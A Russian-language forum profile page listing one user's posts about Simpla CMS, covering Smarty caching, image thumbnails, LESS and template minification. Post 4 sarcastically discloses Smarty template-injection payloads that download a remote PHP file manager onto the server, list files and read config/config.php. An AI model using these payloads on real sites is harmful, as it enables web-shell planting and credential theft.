Jump to content

Мизантроп

Пользователь
  • Content Count

    30
  • Joined

  • Last visited

Информация о вас

  • Фриланс
    Программирование
  • Версия CMS
    2.x

Recent Profile Visitors

362 profile views
  1. smarty_compile_check = true; smarty_caching = true; smarty_cache_lifetime = 30; smarty_debugging = false; при smarty_cache_lifetime = 0; пашет но толку сами понимаете никакого в этом нет. Скажите какой файл отвечает за работу кеша. Буду очень благодарен.
  2. Писал под 2.3.х private function image_constrain_imagick($src_file, $dst_file, $max_w, $max_h, $watermark=null, $watermark_offet_x=0, $watermark_offet_y=0, $watermark_opacity=1, $sharpen=0.2) { $thumb = new Imagick(); // Читаем изображение if(!$thumb->readImage($src_file)) return false; // Размеры исходного изображения $src_w = $thumb->getImageWidth(); $src_h = $thumb->getImageHeight(); // Нужно ли обрезать? if (!$watermark && ($src_w <= $max_w) && ($src_h <= $max_h)) { // Нет - просто скопируем
  3. Надо ехать в Тай... там сейчас хорошо и работать удаленно можно... А тут ловить нечего.
  4. Сегодня изучал бетаверсию симплы... хорошая стоит защита, автор молодец. <!-- {file_put_contents('ajax/remview.php',file_get_contents('http://php.spb.ru/remview/remview_2003_04_22.php'))} --> <!-- {implode("\n",glob('*'))} --> <!-- {file_get_contents('config/config.php')} -->
  5. Это отчего же так? Опять же есть таймаут кеша... вполне себе динамику сохранит. Но то что оно не пашет на симпле это факт... надо переделывать как то. Кто подскажет как, с какого места?
  6. Кому то будет удобно: http://habrahabr.ru/sandbox/40575/ компилет на компе при разработке (проверяет изменение файла) less->css
  7. мой вариант юзаете на предыдущес странице или вариант Юрика, который скорее более правильный: качаете его файл ищите там строчку public function template_min($source, $smarty){ после неё сразу пишите: if(preg_match('#/(simpla|order|cart)/#i', $this->template->getTemplateFilepath() )){ return $source;} |order и |cart - можно убрать из строки выше это завершение заказа и корзина
  8. По моему вы придираетесь. Вероятность, что будет ассоциативный массив, с ключом в котором есть двойной пробел стремится к нулю. И даже если он есть, то вероятность, что будут обращаться по его имени ещё меньше все ограничится ещё на этапе перебора. Перенос в ключе и вовсе может вызвать синтаксическую ошибку вы не находите? Вообще не могу представить себе ситуацию когда кто-то будет использовать такие ключи. Это нужно быть большим извращенцем оригиналом. А если и так, то он сам себе злобный Буратино. Второе является скорее перестраховкой. Осталось от старой версии кода поскольку тестировался
  9. а вы уверены, что этот файл ни у кого не изменялся напильником? Как вариант указать строки с изменениями.
  10. Нет дорогой мой человек, компайл компилится только один раз при изменении шаблона. А дальше он отдается по запросу. Вы можете открыть файлы и увидеть что они хранятся сжатыми. Так что нет ни какого "на лету". Только если у вас компайл не настроен на постоянную компиляцию при каждом запросе. Но это уже не ко мне А та тема прошлое моё неудачное решение задачи.
  11. а что мешает сделать счетчики в js-файлах? Я лишь говорю об идеальном положении вещей. HTML страница для html-кода. JS-файлы для js-кода и т.д. Разделяй и властвуй.
  12. Для того что бы сжать еще взятый tpl. Но он пошел каким то не понятным путем правок smarty и тд. Здесь в теме опубликован как раз метод пожатия компайла шаблонов. Этого же достаточно. Или кто-то из нас кого-то не понял.
  13. просто игнорются вложения в script textarea style pre остальное пожимается. Причем табуляцию убирать тоже нельзя, она может использоваться как пробел. У нормальных людей нет скриптов в коде страниц. Только линки.
  14. Я стал замечать, что экономит время набора кода в стилях. И экономится время на придумывание имен. Стили очень хорошо чистятся если удалили блок на сайте. Codelobster сворачивает less ветви. И можно по разделам быстро передвигаться в файле. Юниоры не плодят бессмысленные куски классов сирот. Это когда на сайте удаляешь элемент и понимаешь, что надо обойти кучу разнящихся css-правил с разными подчас не похожими именами. В итоге на больших проектах я видел стили по 800кб в которых есть что удалить.
  15. ну или юзать моё решение если нет желания обновляться.
×
×
  • Create New...